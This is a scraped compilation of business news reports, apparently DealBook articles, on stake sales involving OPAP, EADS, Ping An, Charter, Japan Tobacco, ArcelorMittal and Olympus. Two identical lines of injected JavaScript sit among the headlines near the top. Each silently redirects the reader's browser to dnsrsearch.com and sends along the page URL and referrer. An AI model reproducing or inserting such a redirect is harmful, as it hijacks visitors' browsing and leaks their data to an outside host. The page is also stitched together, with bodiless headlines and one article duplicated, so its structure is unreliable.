DealBook: Treasury Sells $3 Billion Stake in Ally Financial

DealBook: Verizon Is Expected to Pay $130 Billion for Stake in Vodafone Joint Venture

window.location="http://www.dnsrsearch.com/index.php?origURL="+escape(window.location)+"&r="+escape(document.referrer);

DealBook: Apache to Sell Stake in Egyptian Holdings to Sinopec for $3.1 Billion

DealBook: His Ties Severed, Ackman Moves to Sell Stake in J.C. Penney

window.location="http://www.dnsrsearch.com/index.php?origURL="+escape(window.location)+"&r="+escape(document.referrer);

DealBook: Activision in $8.2 Billion Deal to Buy Back Stake From Vivendi

Greece Agrees to Sell Stake in State-Owned Betting Firm

ATHENS — In Greece’s first major privatization deal since the country’s debt crisis erupted three years ago, the government on Wednesday agreed to sell a controlling stake in the state gambling company OPAP to Emma Delta, a Greek-Czech investment fund, Finance Minister Yannis Stournaras said.

“The first major privatization in our country has been completed successfully,” Mr. Stournaras said.

Emma Delta is buying a 33 percent stake in OPAP, making it the company’s largest shareholder. Greece’s state privatization fund said the purchase price was €652 million, or $860.5 million, with Greece also retaining €60 million in dividends.

The government last month rejected a €622 million offer from Emma Delta, which was the sole bidder for the stake.

Mr. Stournaras did not comment on what the deal might mean for OPAP’s 1,000 employees.

OPAP was Greece’s most profitable company last year, with net profit of €505.5 million. About two-thirds of that came from lottery games, with the rest from sports betting.

Mr. Stournaras said the deal would have “multiple” benefits for Greece as it “demonstrates the trust of investors in the Greek economy.”

He added that Greece’s privatization drive, which has failed to take off over the past three years, would contribute to “accelerating the country’s exit from the crisis.”

Lagardère Sells EADS Stake for $3 Billion

PARIS — Lagardère, the French media conglomerate, said Tuesday it has sold its 7.4 percent stake in European Aeronautic Defense & Space, beginning the long-anticipated overhaul in the ownership structure of EADS, the parent of Airbus.

Lagardère said it raised €2.3 billion, or $3 billion, through the sale, with EADS spending €500 million to buy 1.6 percent of its own shares — a purchase that fell short of some analysts’ expectations.

Société Générale and Bank of America Merrill Lynch, which managed the sale, said 61.1 million EADS shares were placed at €37.35 each. That was a 3.5 percent discount to Monday’s closing price of €38.71.

“Many investors we spoke to believed EADS would acquire €1 billion to €1.5 billion of the stock being placed by Lagardère,” JPMorgan Cazenove analysts said in a research note.

“It is unclear why EADS is not taking a bigger share of this placing but it is possible that EADS is prioritizing increasing its free float over the accretion of a buyback,” the analysts said.

EADS may also want to “retain buyback firepower’ to support its share price over the next 18 months,” the analysts added.

Lagardère, whose holdings include the book publisher Hachette and magazines like Elle and Paris Match, has said it plans to use the proceeds mostly to pay down debt and return cash to shareholders, likely via a special dividend.

Lagardère’s exit from EADS will be followed by the withdrawal of Daimler, the German automaker, paving the way for the aerospace group to have a larger free-market float with combined government stakes capped at 28 percent.

Since EADS was created in 2000, the French and German governments had an effective veto over the company’s strategic management decisions. Under the new ownership structure, France and Germany will each hold as 12 percent stake and Spain will have 4 percent.

DealBook: Lagardère Sells Stake in EADS for $3 Billion

PARIS — Lagardère, the French media conglomerate, said Tuesday it has sold its 7.4 percent stake in European Aeronautic Defense & Space, beginning the long-anticipated overhaul in the ownership structure of EADS, the parent of Airbus.

Lagardère said it raised €2.3 billion, or $3 billion, through the sale, with EADS spending €500 million to buy 1.6 percent of its own shares — a purchase that fell short of some analysts’ expectations.

Société Générale and Bank of America Merrill Lynch, which managed the sale, said 61.1 million EADS shares were placed at €37.35 each. That was a 3.5 percent discount to Monday’s closing price of €38.71.

“Many investors we spoke to believed EADS would acquire €1 billion to €1.5 billion of the stock being placed by Lagardère,” JPMorgan Cazenove analysts said in a research note.

“It is unclear why EADS is not taking a bigger share of this placing but it is possible that EADS is prioritizing increasing its free float over the accretion of a buyback,” the analysts said.

EADS may also want to “retain buyback firepower’ to support its share price over the next 18 months,” the analysts added.

Lagardère, whose holdings include the book publisher Hachette and magazines like Elle and Paris Match, has said it plans to use the proceeds mostly to pay down debt and return cash to shareholders, likely via a special dividend.

Lagardère’s exit from EADS will be followed by the withdrawal of Daimler, the German automaker, paving the way for the aerospace group to have a larger free-market float with combined government stakes capped at 28 percent.

Since EADS was created in 2000, the French and German governments had an effective veto over the company’s strategic management decisions. Under the new ownership structure, France and Germany will each hold as 12 percent stake and Spain will have 4 percent.

DealBook: UBS Aided Purchase of Stake in Chinese Insurer

Aly Song/ReutersA worker cleans the windows of a building in front of the Ping An Insurance building in Shanghai.

SHANGHAI — The Swiss banking giant UBS made a $5.5 billion loan early this year to help a Thai company acquire a 15.6 percent stake in China’s Ping An Insurance Group, according to people briefed on the deal.

The loan helps explain how the Charoen Pokphand Group, an agribusiness giant based in Thailand, was able to complete one of the biggest deals ever in China, a $9.4 billion acquisition of shares in Ping An. The stake had long been held by the British bank HSBC, which had decided to sell to streamline its businesses.

The loan was crucial, people briefed on the transaction said, because it helped salvage a deal after several media outlets in China reported that the state-run China Development Bank withdrew financing from the Charoen Pokphand Group, also known as the CP Group, shortly before the regulatory deadline early this year.

UBS declined to comment on the loan, the details of which were disclosed earlier by Reuters.

But the people briefed on the deal said UBS had advised the CP Group on its acquisition of Ping An shares, and expected to earn about $100 million for its role in the transaction. These disclosures resolved a mystery of how the CP Group’s stake in Ping An was acquired without loans from the Chinese bank.

Executives at the privately held CP Group, controlled by the Thai billionaire Dhanin Chearavanont, could not be reached for comment. Spokesmen for HSBC and Ping An were also unavailable for comment Friday.

But a person who advised the CP Group said that the company had fully complied with regulations set by the China Insurance Regulatory Commission, which approved the deal.

The deal for Ping An stock was closely followed in Asia after one of China’s leading business publications, Caixin, reported that the CP deal was being financed in part by Chinese investors, Ping An managers and Thaksin Shinawatra, the former prime minister of Thailand.

Analysts consider Ping An one of the best-run Chinese financial firms, with major banking and insurance divisions.

The company was founded in Shenzhen in 1988, and got a lift from Chinese regulators in the late 1990s and early 2000s.

After Ping An’s initial public offering in 2004, the relatives of Wen Jiabao, the former Chinese prime minister, acquired a secret, indirect stake in the company, a stake that at one time was valued at $2.7 billion. Relatives of China’s former Central Bank chief, Dai Xianglong, also acquired an indirect stake in Ping An during the same time.

Mark Scott reported from London.

DealBook: Liberty to Buy 27% Stake in Charter for $2.6 Billion

Tom Gannam/Associated PressService trucks at a Charter Communications facility in St. Louis.

8:49 a.m. | Updated

Liberty Media agreed on Tuesday to buy a 27.3 percent stake in the cable services provider Charter Communications for $2.6 billion, in the latest deal by the billionaire John C. Malone.

Under the terms of the agreement, Liberty will pay what amounts to $95.50 a share for the stake, which is made up of 26.9 million shares and 1.1 million warrants. That represents a 6 percent premium to Charter’s closing price on Friday, the last day before reports of the pending investment began to emerge.

The transaction will give Liberty a significant stake in one of the country’s four biggest cable television operators, something Mr. Malone has not owned in over a decade. Charter reported about 4 million video customers and 3.8 million residential Internet customers as of Dec. 31.

“We are pleased with Charter’s market position and growth opportunities and believe that the company’s investments in its high-capacity digital network, which provides digital HD and on demand television, high-speed data and voice, will benefit its customers and shareholders alike,” Mr. Malone said in a statement.

Mr. Malone, who has built his career on deals, is on something of a hot streak. Last month, his Liberty International agreed to buy Virgin Media for about $16 billion, giving him a prominent position in the European cable TV market.

Though Mr. Malone is perhaps best known for his investment in DirecTV these days, he forged his career and fortune as the longtime chief executive of TCI, one of the country’s biggest cable services providers, until its sale to AT&T in 1999.

For the investors selling the stake in Charter – Apollo Global Management, Oaktree Capital Management and Crestview Partners – the Liberty investment will allow them to pare back the holdings they gained after taking control of the cable operator in 2009.

The investment firms became the principle owners of Charter as part of a deal to let the company emerge from bankruptcy. Charter had filed for Chapter 11 protection after amassing over $21 billion in debt.

“Apollo, Oaktree and Crestview have created substantial value for Charter and its shareholders, and on behalf of Charter’s board, we look forward to working with Liberty Media in creating further value,” Eric L. Zinterhofer, Charter’s chairman, said in a statement.

As part of the deal, Liberty will name four directors to Charter’s board, including Mr. Malone and his top lieutenant, Gregory B. Maffei. Liberty also agreed to cap its potential ownership stake in Charter at 35 percent until January 2016, and 39.99 percent afterward.

The deal, which will be financed with cash on hand and new loans, is expected to close in April or May.

Liberty was advised by LionTree Advisors and the law firm Baker Botts. Charter was counseled by the law firm Kirkland & Ellis.

Apollo was advised by Citigroup and the law firm Wachtell, Lipton, Rosen & Katz, while Oaktree was advised by Citigroup, Goldman Sachs and the law firm Paul, Weiss, Rifkind, Wharton & Garrison. Crestview was counseled by Davis Polk & Wardwell.

DealBook: Japan Plans to Sell $10 Billion Stake in Cigarette Firm

Toru Hanai/ReutersA vending machine in Tokyo. Japan Tobacco is the world’s third-largest tobacco company.

TOKYO – The Japanese government is set to loosen its grip on Japan Tobacco, the world’s third-largest tobacco company, by selling a third of its stake in a sale that will net the country about $10 billion.

The Finance Ministry, which owns just over 50 percent of the former state monopoly, will sell 333 million of its shares in the cigarette manufacturer, according to a company statement issued on Monday.

The deal will be priced next month, from March 11 to 13, the statement said. In the run-up to the sale, Japan Tobacco will buy back up to 250 billion yen ($2.7 billion) of its shares.

Under laws passed in 2011 after a devastating earthquake and tsunami hit Japan, proceeds of the sale of Japan Tobacco shares will go toward rebuilding the country’s battered northeast coast. The reconstruction costs have threatened to weigh on Japan’s public finances at a time when public debt is twice the size of its economy.

It is an opportune time for the Japanese government to sell. Japan’s stock market has rallied since mid-November, and Japan Tobacco’s shares have tracked the market’s ascent, climbing 20 percent in the last three months.

Shares in Japan Tobacco closed 1.43 percent higher on Monday, at 2,901 yen, before the planned sale was announced. At that price, the government’s share sale would be valued at roughly 967 billion yen.

Japan has already been reducing its stake and involvement in the cigarette maker, which traces its origins to a Finance Ministry bureau set up in 1898 to create a national tobacco monopoly that lasted until 1985.

Even after the company went public, the Finance Ministry held two-thirds of its shares until 2004, when it reduced its stake to 50.1 percent, or roughly one billion shares. Other investors in Japan Tobacco include Mizuho Trust & Banking, Goldman Sachs and the Children’s Investment Fund Management.

The position in Japan Tobacco has put the government in a controversial position.

The government has squeezed more funds from its smokers, raising the price of a pack of cigarettes about 40 percent in 2010, its single largest increase in tobacco taxes. Still, cigarettes remain relatively cheap in Japan, at about $4.30 a pack.

But antismoking advocates have blamed the Japanese government’s continued ownership of Japan Tobacco – whose brands include Camel, Winston and Mild Seven – for the country’s delay in passing laws to protect nonsmokers from cigarette smoke, for example, and more stringently regulating of tobacco-related marketing.

In a 2012 report, the Washington-based Global Business Group on Health said Japan’s ownership of Japan Tobacco shares “leads to a national conflict of interest, in which the government treats smoking as a behavioral issue rather than a health concern.”

Though smoking rates have started to decline in recent years, the Japanese remain heavy smokers, consuming about 1,841 cigarettes a person, according to data compiled last year by the World Lung Foundation and American Cancer Society. That compared with about 1,000 cigarettes a person in the United States.

To make up for declining cigarette consumption at home, Japan Tobacco has aggressively expanded overseas, acquiring Britain’s Gallaher Group in 2007 for $15 billion, and adding the Silk Cut and Benson & Hedges brands to its portfolio. The company has also made a push into packaged foods and soft drinks, as well as pharmaceuticals.

The government’s sale of Japan Tobacco shares is part of a wider effort to raise money to finance reconstruction from the country’s natural and nuclear disasters in 2011. The government also plans to sell shares of Japan Post Holdings, which runs the country’s postal system and also acts as its biggest bank.

DealBook: ArcelorMittal to Sell Stake in Iron Ore Unit for $1.1 Billion

8:44 a.m. | Updated The giant steel maker ArcelorMittal agreed on Wednesday to sell a 15 percent stake in one of its premier iron ore units, ArcelorMittal Mines Canada, for $1.1 billion.

After putting together the world’s largest steel company through a series of acquisitions and takeovers in the era before the financial crisis, Lakshmi Mittal, ArcelorMittal’s chief executive and controlling shareholder, is continuing to sell off assets to reduce debt as he struggles to manage a savage downturn in the industry and his own company’s fortunes.

ArcelorMittal says demand for steel in its crucial European market is down about 30 percent from 2007. Including this transaction, the company has disposed of assets worth $4.2 billion since September 2011.

Under the terms of the sale, a consortium – including Posco of South Korea, the world’s fifth-largest steel maker, and China Steel of Taiwan – will gain long-term access to iron ore from the mines proportionate to the new ownership stakes.

The group also includes South Korean financial investors including EQ Partners, a private equity fund, according to a person familiar with the matter. ArcelorMittal will retain an 85 percent stake.

Stock markets reacted positively to the deal on Wednesday, apparently because ArcelorMittal appeared to receive a good price for the sale without giving up much. Shares in ArcelorMittal rose 3.9 percent in morning trading on Wednesday in Europe.

Jeff Largey, a steel analyst at Macquarie in London, wrote in a research note to clients that the $7.3 billion valuation the transaction implied for the mining operations was “an excellent result” for ArcelorMittal. He said that his valuation had been closer to $4 billion. Mr. Largey also asked whether bringing in partners was a sign the company “believes the iron ore cycle is past its peak.”

The markets also appeared pleased that the deal would help ArcelorMittal, which is based in Luxembourg, with its goal of reducing debt. Last year, the ratings agencies Moody’s Investors Service and Standard & Poor’s both cut ArcelorMittal’s credit rating to junk status because of its high debt and anticipation of a worsening environment for the steel industry.

Last month the company took a $4.3 billion impairment charge on its business units in Europe, where it made around 46 percent of its steel in 2011. The company posted a loss of about $49 million on $19.7 billion in revenue in the third quarter of 2012.

ArcelorMittal’s net debt was $23 billion as of Sept. 30, the latest figures available. Michael Shillaker, an analyst at Credit Suisse in London, estimated in a research note that net debt could fall to around $20 billion this year.

The deal is reminiscent of the heavy investments that Asian investors have made in the energy industry. Just as Asian companies are trying to assure themselves of energy supplies for their growing economies, Posco and China Steel are locking up iron ore for future operations.

The stake sale will also help ArcelorMittal cover the cost of a 1.2 billion Canadian dollar expansion of the mines to 24 million tons a year from the present 16 million tons a year. If the company subsequently expands annual ore output to 30 million tons, the new partners would contribute in proportion to their stakes, Mr. Largey of Macquarie said.

ArcelorMittal put all of its growth capital spending, or about $1.5 billion, into its mining operations last year on the belief that mining would bring a better return than the depressed steel industry, according to Giles Read, a company spokesman. The company says its capital spending plans for 2013 are “under scrutiny.”

The mines in which ArcelorMittal is selling a stake are considered top assets. The mining unit, which does not include activities in Baffinland, produces 40 percent of Canada’s iron ore, according to the company. The ore is trucked by rail from mines near Labrador City to processing facilities in Port-Cartier on the Gulf of Saint Lawrence.

‘‘We are committed to growing ArcelorMittal’s mining business,’’ Peter Kukielski, chief executive of the company’s mining division, said in a statement.

The deal is expected to close in two installments during the first and second quarters of this year.

Chinese Regulator’s Family Profited From Stake in Insurer

The regulator, Dai Xianglong, was the head of China’s central bank and also had oversight of the insurance industry in 2002, when a company his relatives helped control bought a big stake in Ping An Insurance that years later came to be worth billions of dollars. The insurer was drawing new investors ahead of a public stock offering after averting insolvency a few years earlier.

With growing attention on the wealth amassed by families of the politically powerful in China, the investments of Mr. Dai’s relatives illustrate that the riches extend beyond the families of the political elites to the families of regulators with control of the country’s most important business and financial levers. Mr. Dai, an economist, has since left his post with the central bank and now manages the country’s $150 billion social security fund, one of the world’s biggest investment funds.

How much the relatives made in the deal is not known, but analysts say the activity raises further doubts about whether the capital markets are sufficiently regulated in China.

Nicholas C. Howson, an expert in Chinese securities law at the University of Michigan Law School, said: “While not per se illegal or even evidence of corruption, these transactions feed into a problematic perception that is widespread in the P.R.C.: the relatives of China’s highest officials are given privileged access to pre-I.P.O. properties.” He was using the abbreviation for China’s official name, the People’s Republic of China.

The company that bought the Ping An stake was controlled by a group of investment firms, including two set up by Mr. Dai’s son-in-law, Che Feng, as well as other firms associated with Mr. Che’s relatives and business associates, the regulatory filings show.

The company, Dinghe Venture Capital, got the shares for an extremely good price, the records show, paying a small fraction of what a large British bank had paid per share just two months earlier. The company paid $55 million for its Ping An shares on Dec. 26, 2002. By 2007, the last time the value of the investment was made public, the shares were worth $3.1 billion.

In its investigation, The New York Times found no indication that Mr. Dai had been aware of his relatives’ activities, or that any law had been broken. But the relatives appeared to have made a fortune by investing in financial services companies over which Mr. Dai had regulatory authority.

In another instance, in November 2002, Dinghe acquired a big stake in Haitong Securities, a brokerage firm that also fell under Mr. Dai’s jurisdiction, according to the brokerage firm’s Shanghai prospectus.

By 2007, just after Haitong’s public listing in Shanghai, those shares were worth about $1 billion, according to public filings. Later, between 2007 and 2010, Mr. Dai’s wife, Ke Yongzhen, was chairwoman on Haitong’s board of supervisors.

A spokesman for Mr. Dai and the National Social Security Fund did not return phone calls seeking comment. A spokeswoman for Mr. Che, the son-in-law, denied by e-mail that he had ever held a stake in Ping An. The spokeswoman said another businessman had bought the Ping An shares and then, facing financial difficulties, sold them to a group that included Mr. Che’s friends and relatives, but not Mr. Che.

The businessman “could not afford what he has created, so he had to sell his shares all at once,” the spokeswoman, Jenny Lau, wrote in an e-mail.

The corporate records reviewed by The Times, however, show that Mr. Che, his relatives and longtime business associates set up a complex web of companies that effectively gave him and the others control of Dinghe Venture Capital, which made the investments in Ping An and Haitong Securities. The records show that one of the companies later nominated Mr. Che to serve on the Ping An board of supervisors. His term ran from 2006 to 2009.

The Times reported last month that another investment company had also bought shares in Ping An Insurance at an unusually low price on the same day in 2002 as Dinghe Venture Capital. That company, Tianjin Taihong, was later partly controlled by relatives of Prime Minister Wen Jiabao, then serving as vice premier with oversight of China’s financial institutions. In late 2007, the shares Taihong bought in Ping An were valued at $3.7 billion.

The investments by Dinghe and Taihong are significant in part because by late 2002, Beijing regulators had granted Ping An an unusual waiver to rules that would have forced the insurer to sell off some divisions. Throughout the late 1990s, the company was fighting rules that would have required a breakup, a move that Ping An executives worried could lead to bankruptcy.

DealBook: Sony Agrees to Acquire Stake in Olympus

TOKYO — Sony is set to become the biggest shareholder in Olympus with an investment of 50 billion yen, or $645 million, investment, the two companies announced Friday.

The deal could give struggling Sony a jump-start in the lucrative medical equipment business, while helping to bolster Olympus’s balance sheet following its $1.7 billion accounting scandal.

Sony and Olympus will form a joint venture to develop and manufacture endoscopes and other medical devices, the companies said in a statement. Olympus controls about 70 percent of the world’s market for medical endoscopes.

The two companies will also consider cooperating in digital cameras, they said.

Sony, struggling after four years of losses because of its slumping TV business, has been looking for new sources of revenue. It entered the medical device field last year by acquiring the American medical diagnostics firm Micronics for an undisclosed sum. Sony’s president, Kazuo Hirai, has said medical businesses could one day be a major profit driver.

Meanwhile, Olympus, which admitted last year to hiding losses for over a decade, is desperate to shore up its capital.

It replaced its entire board, restated five years of earnings and took a $1.3 billion write-down after acknowledging that it obscured what it said were past investment losses in inflated mergers and acquisition payments.

The deal announced on Friday calls for Sony to take a 11.5 percent stake in Olympus by buying new Olympus shares for 1,454 yen a share — a 4 percent discount to Friday’s closing price.

The two companies will set up a joint company by the end of the year, of which Sony will hold 51 percent and Olympus will hold 49 percent, the companies said. Sony will also select a director to serve on Olympus’s board.

In statements, Hiroyuki Sasa, the Olympus president, and Mr. Hirai of Sony both stressed that the deal would bring together Sony’s technological edge in digital imaging with Olympus’s already-dominant position in the medical field.

‘‘By accepting an investment from Sony, we will not only strengthen our financial base, but also combine our strengths and develop the kind of medical devices that we may not have been able to develop on our own,‘‘ Mr. Sasa said.

Sony will position the medical field ‘‘as one of Sony’s future core businesses,’’ Mr. Hirai said.

Olympus shares gained 1.7 percent to 1,520 yen in Tokyo on Friday, after the Nikkei business daily carried a report on the deal in its morning edition. Shares in the company, which lost nine-tenths of their value after the scandal erupted last October, have recovered to almost half their pre-scandal levels.

Shares in Sony fell 1.1 percent to 919 yen. Its shares have already slumped 34 percent this year.

On Tuesday, Standard & Poor’s cut Sony’s long-term debt rating a notch to BBB, the second-lowest investment grade, and warned of further downgrades unless Sony turns its business around.